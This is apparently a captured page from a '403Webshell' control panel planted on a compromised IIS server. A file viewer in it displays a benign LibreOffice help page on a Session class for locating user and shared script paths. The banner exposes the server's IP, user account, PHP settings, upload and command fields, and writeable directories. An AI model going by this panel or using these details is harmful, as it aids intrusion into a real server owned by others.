403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.182
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Program Files/LibreOffice/help/en-US/text/sbasic/python/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Program Files/LibreOffice/help/en-US/text/sbasic/python/python_session.html
<!DOCTYPE html>
<html lang="en-US" dir="ltr">
<head>
<base href="../../../../">
<noscript><meta http-equiv="refresh" content="0; URL=../../../../en-US/noscript.html"></noscript>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Python_Session : Session class</title>
<link rel="shortcut icon" href="media/navigation/favicon.ico">
<link type="text/css" href="normalize.css" rel="Stylesheet">
<link type="text/css" href="prism.css" rel="Stylesheet">
<link type="text/css" href="default.css" rel="Stylesheet">
<script type="text/javascript" src="polyfills.js"></script><script type="text/javascript" src="languages.js"></script><script type="text/javascript" src="en-US/langnames.js"></script><script type="text/javascript" src="flexsearch.debug.js"></script><script type="text/javascript" src="prism.js"></script><script type="text/javascript" src="help2.js" defer></script><script type="text/javascript" src="a11y-toggle.js" defer></script><script type="text/javascript" src="paginathing.js" defer></script><script type="text/javascript" src="en-US/bookmarks.js" defer></script><script type="text/javascript" src="en-US/contents.js" defer></script><script type="text/javascript" src="help.js" defer></script><meta name="viewport" content="width=device-width,initial-scale=1">
</head>
<body>
<header id="TopLeftHeader"><a class="symbol" href="en-US/text/shared/05/new_help.html"><div></div></a><a class="logo" href="en-US/text/shared/05/new_help.html"><p dir="auto">LibreOffice 24.2 Help</p></a><div class="dropdowns"><div class="modules">
<button type="button" data-a11y-toggle="modules-nav" id="modules" aria-haspopup="true" aria-expanded="false" aria-controls="modules-nav">Module</button><nav id="modules-nav" hidden=""></nav>
</div></div></header><aside class="leftside"><input id="accordion-1" name="accordion-menu" type="checkbox"><label for="accordion-1" dir="auto">Contents</label><div id="Contents" class="contents-treeview"></div></aside><div id="SearchFrame"><div id="Bookmarks">
<input id="search-bar" type="search" class="search" placeholder="Search in bookmarks for chosen module" dir="auto"><div class="nav-container" tabindex="0"><nav class="index" dir="auto"></nav></div>
</div></div>
<div id="DisplayArea" itemprop="softwareHelp" itemscope="true" itemtype="http://schema.org/SoftwareApplication">
    <a name="N0339"></a>
        <meta itemprop="keywords" content="Session,UserName">
        <meta itemprop="keywords" content="Session,SharedScripts">
        <meta itemprop="keywords" content="Session,SharedPythonScripts">
        <meta itemprop="keywords" content="Session,UserProfile">
        <meta itemprop="keywords" content="Session,UserScripts">
        <meta itemprop="keywords" content="Session,UserPythonScripts">
        <meta itemprop="keywords" content="API,PathSubstitution">
    
    <h1 id="N0340" dir="auto">
<a name="pythonsession"></a>Getting Session Information</h1>
    <p id="N0341" class="paragraph" dir="auto">Computing LibreOffice user profile and shared modules system file paths can be performed with Python or with Basic languages. BeanShell, Java, JavaScript and Python scripts locations can be derived from this information.</p>
    <h2 id="N0343" dir="auto">Examples:</h2>
    <p id="N0344" class="paragraph" dir="auto">With Python shell.</p>
    <p id="N0345" class="paragraph" dir="auto"><span class="literal">&gt;&gt;&gt; from &lt;the_module&gt; import Session</span></p>
    <p id="N0346" class="paragraph" dir="auto"><span class="literal">&gt;&gt;&gt; print(Session.SharedPythonScripts())  # static method</span></p>
    <p id="N0347" class="paragraph" dir="auto"><span class="literal">&gt;&gt;&gt; print(Session().UserName)  # object property</span></p>
    <p id="N0348" class="paragraph" dir="auto"><span class="literal">&gt;&gt;&gt; input(Session().UserProfile)  # object property</span></p>
    <h3 id="N0349" dir="auto">From <span class="menuitem">Tools – Macros - Run Macro</span>... menu.</h3>
    <div class="pycode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Click on text to copy to clipboard"><pre dir="auto"><code class="language-python line-numbers">
        from &lt;the_module&gt; import Session
            
        def demo_session():
            import screen_io as ui
            ui.MsgBox(Session.Share(),title='Installation Share')  # static method
            ui.Print(Session.SharedPythonScripts())  # static method
            s = Session()  # instance creation
            ui.MsgBox(s.UserName,title='Hello')  # object property
            ui.Print(s.UserPythonScripts)  # object property
            
        g_exportedScripts = (demo_session,)  # public macros
    </code></pre></div>
    <h3 id="N0361" dir="auto">With LibreOffice Basic.</h3>
    <div class="bascode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Click on text to copy to clipboard"><pre dir="auto"><code class="language-visual-basic line-numbers">
        Sub Session_example()
            Dim s As New Session ' instance of Session class
            Print "Shared scripts location:", s.SharedScripts
            MsgBox s.UserName,,"Hello"
            Print s.UserScripts, Chr(13), s.UserPythonScripts
        End Sub ' Session_example
    </code></pre></div>
    <h3 id="N0368" dir="auto">Using COM/OLE and Visual Basic Scripting language.</h3>
    <div class="bascode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Click on text to copy to clipboard"><pre dir="auto"><code class="language-visual-basic line-numbers">
        ' The service manager is always the entry point
        ' If there is no office running then an office is started up
        Set sm = WScript.CreateObject("com.sun.star.ServiceManager")
        ' PathSubstitution service exhibits information to infer
        ' &lt;UserProfile|Share&gt;/Scripts/python locations from
        Set obj = sm.createInstance("com.sun.star.util.PathSubstitution")
            
        MsgBox CreateObject("WScript.Network").UserName,, "Hello"
        user = obj.getSubstituteVariableValue("$(user)")
        MsgBox user &amp; "/Scripts",, "User scripts location"
        libO = Replace(obj.getSubstituteVariableValue("$(inst)"), "program/..", "Share")
        MsgBox libO &amp; "/Scripts",, "Shared scripts location"
    </code></pre></div>
    <h2 id="N0381" dir="auto">Python Session class:</h2>
    <div class="pycode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Click on text to copy to clipboard"><pre dir="auto"><code class="language-python line-numbers">
        import getpass, os, os.path, uno
            
        class Session():
            @staticmethod
            def substitute(var_name):
                ctx = uno.getComponentContext()
                ps = ctx.getServiceManager().createInstanceWithContext(
                    'com.sun.star.util.PathSubstitution', ctx)
                return ps.getSubstituteVariableValue(var_name)
            @staticmethod
            def Share():
                inst = uno.fileUrlToSystemPath(Session.substitute("$(prog)"))
                return os.path.normpath(inst.replace('program', "Share"))
            @staticmethod
            def SharedScripts():
                return ''.join([Session.Share(), os.sep, "Scripts"])
            @staticmethod
            def SharedPythonScripts():
                return ''.join([Session.SharedScripts(), os.sep, 'python'])
            @property  # alternative to '$(username)' variable
            def UserName(self): return getpass.getuser()
            @property
            def UserProfile(self):
                return uno.fileUrlToSystemPath(Session.substitute("$(user)"))
            @property
            def UserScripts(self):
                return ''.join([self.UserProfile, os.sep, 'Scripts'])
            @property
            def UserPythonScripts(self):
                return ''.join([self.UserScripts, os.sep, "python"])
    </code></pre></div>
    <div class="note">
<div class="noteicon" dir="auto"><img src="media/icon-themes/res/helpimg/note.svg" alt="note" style="width:40px;height:40px;"></div>
<div class="notetext"><p id="N0342" dir="auto">Unlike Basic, pathname normalization is performed with Python inside Session class.</p></div>
</div>
<br>
    <h2 id="N0412" dir="auto">LibreOffice Basic Session class:</h2>
    <div class="bascode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Click on text to copy to clipboard"><pre dir="auto"><code class="language-visual-basic line-numbers">
        Option Explicit
        Option Compatible
        Option ClassModule
            
        Private _ps As Object ' Private member
            
        Private Sub Class_Initialize()
            GlobalScope.BasicLibraries.LoadLibrary("Tools")
            Set _ps = CreateUnoService("com.sun.star.util.PathSubstitution")
        End Sub ' Constructor
            
        Private Sub Class_Terminate()
            _ps = Nothing
        End Sub ' Destructor
            
        Public Property Get SharedScripts() As String
            Dim inst As String, shr As String
            inst = ConvertFromURL(_ps.getSubstituteVariableValue("$(prog)"))
            shr = Tools.Strings.ReplaceString(inst,"Share","program")
            SharedScripts = shr &amp; GetPathSeparator() &amp;"Scripts"
        End Property ' Session.sharedScripts
            
        Public Property Get SharedPythonScripts() As String
            sharedPythonScripts = sharedScripts() &amp; GetPathSeparator() &amp;"python"
        End Property ' Session.sharedPythonScripts
            
        Public Property Get UserName() As String ' User account name 
            userName = _ps.getSubstituteVariableValue("$(username)")
        End Property ' Session.userName
            
        Public Property Get UserProfile() As String ' User profile system path
            userProfile = ConvertFromURL(_ps.getSubstituteVariableValue("$(user)"))
        End Property ' Session.userProfile
            
        Public Property Get UserScripts() As String ' User scripts system path
            userScripts = userProfile() &amp; GetPathSeparator() &amp;"Scripts"
        End Property ' Session.userScripts
            
        Public Property Get UserPythonScripts() As String ' User Python scripts system path
            userPythonScripts = userScripts() &amp; GetPathSeparator() &amp;"python"
        End Property ' Session.userPythonScripts
    </code></pre></div>
    <a name="relatedtopics"></a><div class="relatedtopics">
<p class="related" itemprop="mentions" dir="auto"><a name="related"></a><span class="emph">Related Topics</span>
</p>
<div class="relatedbody" itemprop="mentions">
        <div class="embedded"><p class="embedded" dir="auto"><a target="_top" href="en-US/text/sbasic/python/python_locations.html">Python Scripts Organization and Location</a></p></div>
        <div class="embedded"><p class="embedded" dir="auto"><a target="_top" href="en-US/text/sbasic/python/python_import.html">Importing Python Modules</a></p></div>
        <div class="embedded"><p class="embedded" dir="auto"><a target="_top" href="en-US/text/sbasic/python/python_screen.html">Input/Output to Screen</a></p></div>
        <div class="embedded"><p class="embedded" dir="auto"><a target="_top" href="en-US/text/sbasic/python/python_examples.html">Python programming examples</a></p></div>
    </div>
</div>
</div>
<div id="DonationFrame"></div>
<footer><div id="DEBUG" class="debug">
<h3 class="bug">Help content debug info:</h3>
<p dir="auto">This page is: <a href="https://opengrok.libreoffice.org/xref/help/source/text/sbasic/python/python_session.xhp" target="_blank">/text/sbasic/python/python_session.xhp</a></p>
<p dir="auto">Title is: Python_Session : Session class</p>
<p id="bm_module" dir="auto"></p>
<p id="bm_system" dir="auto"></p>
<p id="bm_HID" dir="auto"></p>
</div></footer>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit